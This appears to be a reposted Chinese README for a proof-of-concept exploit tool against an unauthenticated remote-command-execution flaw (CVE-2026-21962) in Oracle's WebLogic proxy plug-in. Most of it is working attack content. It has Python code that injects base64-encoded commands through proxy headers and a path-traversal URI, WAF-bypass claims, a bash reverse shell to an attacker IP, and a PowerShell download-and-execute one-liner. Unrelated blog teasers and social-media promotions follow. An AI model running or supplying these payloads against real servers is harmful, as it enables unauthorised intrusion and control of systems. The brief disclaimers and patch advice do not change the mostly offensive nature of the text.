CVE-2026-21962漏洞利用工具:Oracle WebLogic代理插件未授权RCE检测与利用

CVE-2026-21962 - Oracle WebLogic Server Proxy Plug-In RCE

项目描述

该项目提供了一个针对Oracle WebLogic Server代理插件(Proxy Plug-In)中一个关键安全漏洞(CVE-2026-21962)的漏洞利用概念验证(PoC)脚本。该漏洞允许未经验证的远程攻击者通过HTTP协议在受影响的服务器上执行任意操作系统命令,风险等级极高(CVSS 10.0)。

影响组件

  • Oracle HTTP Server(版本12.2.1.4.0、14.1.1.0.0、14.1.2.0.0)
  • Oracle WebLogic Server代理插件(用于Apache HTTP Server和Microsoft IIS)

功能特性

核心功能

  • 自动漏洞检测:通过多种常见路径(/weblogic//wl_proxy//bea_wls_internal//_proxy//proxy/)探测目标系统是否存在漏洞
  • 远程命令执行:能够执行用户指定的任意操作系统命令
  • Payload编码:自动对Payload进行Base64编码,以绕过某些WAF/过滤器
  • 多种攻击向量:支持通过不同HTTP头(WL-Proxy-Client-IP、Proxy-Client-IP、X-Forwarded-For)注入Payload

高级特性

  • 跨平台支持:兼容Linux/Unix和Windows目标系统
  • 灵活Payload:支持执行简单命令、复杂Shell脚本或PowerShell命令
  • 输出解析:自动提取并显示命令执行结果
  • 错误处理:完善的异常处理和超时控制机制

检测能力

  • 支持通过HTTP状态码(200、302、500)判断漏洞存在性
  • 能够捕获并显示命令执行的输出结果
  • 提供详细的调试信息和错误报告

安装指南

环境要求

  • Python 3.x:确保系统已安装Python 3
  • 依赖库:需要安装requests
  • 操作系统:支持Linux、macOS和Windows

安装步骤

设置执行权限(可选)

chmod +x CVE-2026-21962.py 

安装Python依赖

pip install requests 

克隆或下载项目文件

git clone https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.git cd Ashwesker-CVE-2026-21962 

验证安装

运行以下命令验证安装是否成功:

python3 CVE-2026-21962.py --help 

如果看到帮助信息,说明安装成功。

使用说明

基础使用

基本语法
python3 CVE-2026-21962.py <target_url>"<command>"
参数说明
  • target_url:目标服务器的URL(例如:http://target:7001https://oracle-server:4443
  • command:要执行的命令(例如:idwhoami或反向Shell命令)

使用示例

1. 基本信息收集

执行系统命令来验证漏洞:

python3 CVE-2026-21962.py http://target:7001 "id && whoami && uname -a"
2. 获取文件系统信息
python3 CVE-2026-21962.py http://target:7001 "ls -la / && df -h"
3. 反向Shell(Linux目标)

首先在攻击机启动监听:

nc -lvnp 4444

然后执行漏洞利用:

python3 CVE-2026-21962.py http://target:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
4. Windows目标利用
python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"

输出说明

  • 成功迹象:HTTP状态码为200、302或500
  • 命令输出:如果命令有输出,会显示前1500个字符
  • 静默执行:如果命令执行成功但没有输出,会显示相应提示

注意事项

  1. 目标端口:通常WebLogic服务运行在7001端口,HTTPS服务可能运行在4443端口
  2. SSL证书:对于自签名证书的目标,可能需要禁用SSL验证
  3. 路径探测:工具会自动尝试多个常见代理插件路径
  4. WAF绕过:使用Base64编码和多种HTTP头尝试绕过防护

核心代码

主漏洞利用函数

defexploit(target_url, command):# 漏洞利用端点(常见代理插件路径) vuln_paths =["/weblogic/","/wl_proxy/","/bea_wls_internal/","/_proxy/","/proxy/"]# 构造触发反序列化/命令注入的恶意头部# 实际触发使用特制的WL-Proxy-Client-IP或类似头部# 结合绕过验证的特制URI payload =f"cmd:{command}"# Base64编码Payload以绕过WAF/过滤器 encoded_payload = base64.b64encode(payload.encode()).decode()# 构造恶意HTTP头部 headers ={"WL-Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","X-Forwarded-For":f"127.0.0.1;{encoded_payload}","User-Agent":"Mozilla/5.0 (compatible; Exploit/1.0)","Accept":"*/*","Connection":"close"}# 触发插件漏洞的特制URI uri ="/weblogic/..;/bea_wls_internal/ProxyServlet"# 尝试所有可能的漏洞路径for base_path in vuln_paths: full_url =f"{target_url.rstrip('/')}{base_path}{uri}"print(f"[*] 尝试路径: {full_url}")print(f"[*] 执行命令: {command}")try:# 使用GET请求,某些配置下POST也可用 r = requests.get(full_url, headers=headers, timeout=12, verify=False, allow_redirects=False)# 根据HTTP状态码判断是否成功if r.status_code in[200,302,500]:print(f"[+] 可能成功!状态码: {r.status_code}")if r.text.strip():print("\n可能的命令输出/响应:\n"+"-"*60)print(r.text[:1500])# 显示前1500字符避免信息过多print("-"*60)else:print("[+] 命令静默执行(无输出)")returnTrueelse:print(f"[-] 状态码 {r.status_code} - 此路径无漏洞")except Exception as e:print(f"[-] 路径 {full_url} 错误: {e}")print("\n[-] 所有路径测试完成 - 目标可能无漏洞或插件未暴露。")returnFalse

命令行参数解析

if __name__ =="__main__":# 创建参数解析器 parser = argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")# 目标URL参数 parser.add_argument("target",help="目标URL (例如 http://target:7001 或 https://oracle-server:4443)")# 命令参数 parser.add_argument("cmd",help="要执行的命令 (例如 'id' 或 'whoami' 或 'powershell -c ...' 或 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1')")# 解析参数并执行漏洞利用 args = parser.parse_args() exploit(args.target, args.cmd)

漏洞检测逻辑

# 漏洞检测的核心逻辑# 1. 构造包含恶意命令的Payload# 2. 使用Base64编码绕过基本防护# 3. 通过多个HTTP头部字段注入Payload# 4. 使用路径遍历技术访问代理Servlet# 5. 分析响应判断漏洞是否存在# 关键点:# - 使用分号分隔IP地址和命令Payload# - 尝试多个可能的代理插件路径# - 支持HTTP和HTTPS协议# - 包含完善的超时和错误处理

安全注意事项

# 重要安全提示:# 1. 此工具仅用于授权的安全测试# 2. 在非授权系统上使用是非法的# 3. 使用前需获得明确书面授权# 4. 遵守所有适用法律法规# 技术建议:# 1. 及时应用Oracle 2026年1月关键补丁更新# 2. 限制对受影响服务的网络访问# 3. 监控HTTP流量中的可疑行为# 4. 定期审查系统日志和安全控制措施

版本兼容性

该工具设计用于以下受影响版本:

  • Oracle HTTP Server: 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0
  • WebLogic Proxy Plug-in for Apache/IIS

免责声明: 所有PoC代码仅供道德、授权测试和教育目的使用。未经授权的利用是非法的,作者不承担任何滥用责任。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPtA7C84tFVwza9UVc8THXK
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

Read more

Linux 进程核心原理精讲:从体系结构到实战操作(含 fork / 状态 / 优先级)----《Hello Linux!》(6)

Linux 进程核心原理精讲:从体系结构到实战操作(含 fork / 状态 / 优先级)----《Hello Linux!》(6)

文章目录 * 前言 * 冯诺依曼体系结构 * 操作系统 * 进程的概念 * 查看进程 * \/proc方法 * ps指令 * 通过系统调用获取进程标示符 * 进程的特性 * 通过系统调用创建进程-fork * 进程状态 * 关于此的几个零碎的知识点 * 具体到Linux的进程状态 * 僵尸进程 * 孤儿进程 * 进程优先级 * 查看系统进程 * 关于PRI和NI * top指令更改nice * 系统如何通过优先级进行调度 前言 进程是操作系统的核心骨架,所有程序的运行本质都是进程的调度与执行。理解进程的底层逻辑,不仅能打通操作系统、硬件与应用程序的关联,更能为排查性能问题、编写高效代码打下基础。 本文将从冯诺依曼体系结构出发,逐步拆解操作系统的核心职责,再深入进程的定义、PCB 结构、状态转换、优先级调度等核心知识点,同时搭配ps/top/fork等实操指令与代码示例,兼顾理论深度与实战性。无论是刚接触 Linux 系统的初学者,还是想夯实底层基础的开发者,

By Ne0inhk
Flutter 组件 short_uuids 适配鸿蒙 HarmonyOS 实战:唯一标识微缩技术,构建高性能短 ID 生成与分布式索引架构

Flutter 组件 short_uuids 适配鸿蒙 HarmonyOS 实战:唯一标识微缩技术,构建高性能短 ID 生成与分布式索引架构

欢迎加入开源鸿蒙跨平台社区:https://openharmonycrossplatform.ZEEKLOG.net Flutter 组件 short_uuids 适配鸿蒙 HarmonyOS 实战:唯一标识微缩技术,构建高性能短 ID 生成与分布式索引架构 前言 在鸿蒙(OpenHarmony)生态迈向万物互联、涉及海量离线资源标识、蓝牙广播载荷(BLE Payload)及二维码数据极限压缩的背景下,如何生成既能保留 UUID 强随机性、又能极大缩减字符长度的唯一标识符,已成为优化存储与通讯效率的“空间必修课”。在鸿蒙设备这类强调分布式软总线传输与每一字节功耗敏感的环境下,如果应用依然直接传输长度达 36 字符的标准 UUID,由于由于有效载荷溢出,极易由于由于传输协议限制导致数据截断或多次分包带来的延迟。 我们需要一种能够实现高进制转换、支持双向编解码且具备低碰撞概率的短 ID 生成方案。 short_uuids 为 Flutter 开发者引入了将标准 UUID 转化为短格式字符串的高性能算法。它利用

By Ne0inhk
【超详细教程】Claude Code 在 Linux(Ubuntu) 上的完整安装部署指南|一步步跑通云端/本地开发环境

【超详细教程】Claude Code 在 Linux(Ubuntu) 上的完整安装部署指南|一步步跑通云端/本地开发环境

目录 ✅ 逐步安装命令(复制即用) 步骤 1:更新系统环境(强烈建议先执行) 步骤 2:安装 Node.js 步骤 3:安装 Git 步骤 4:安装 Claude Code CLI 步骤 5:配置 Claude Code 的环境变量(核心步骤) 步骤 6:首次运行 Claude Code(本地模式) ✅ 写到最后 之前的文章( Win11 下从零部署 Claude Code )里,我们已经带大家在 Win11 环境下完整跑通了 Claude Code 的本地开发环境,不少朋友后台留言说: “能不能写一个

By Ne0inhk
Flutter 三方库 remove_markdown 的鸿蒙化适配指南 - 打造纯净文本提取、内容预处理实战、鸿蒙级文本解析专家

Flutter 三方库 remove_markdown 的鸿蒙化适配指南 - 打造纯净文本提取、内容预处理实战、鸿蒙级文本解析专家

欢迎加入开源鸿蒙跨平台社区:https://openharmonycrossplatform.ZEEKLOG.net Flutter 三方库 remove_markdown 的鸿蒙化适配指南 - 打造纯净文本提取、内容预处理实战、鸿蒙级文本解析专家 在鸿蒙跨平台应用处理海量的 Markdown 博文、技术文档或用户输入的富文本内容时,有时我们需要剥离所有的样式标记(如加粗、链接、列表),还原出最原始、最纯洁的文字内容。如果你需要为搜索索引构建、智能语音播报(TTS)或是内容摘要生成提供高质量的数据源。今天我们要深度解析的 remove_markdown——一个专注于高效、无损 Markdown 语法剥离的轻量级 Dart 库,正是帮你实现“内容减负”的核心引擎。 前言 remove_markdown 是一套基于正则表达式与高效字符扫描的转换工具。它的设计初衷极其明确:将复杂的 Markdown 源码瞬间坍缩为易于阅读和处理的纯文本。在鸿蒙端项目中,利用它你可以确保在展示搜索片段(

By Ne0inhk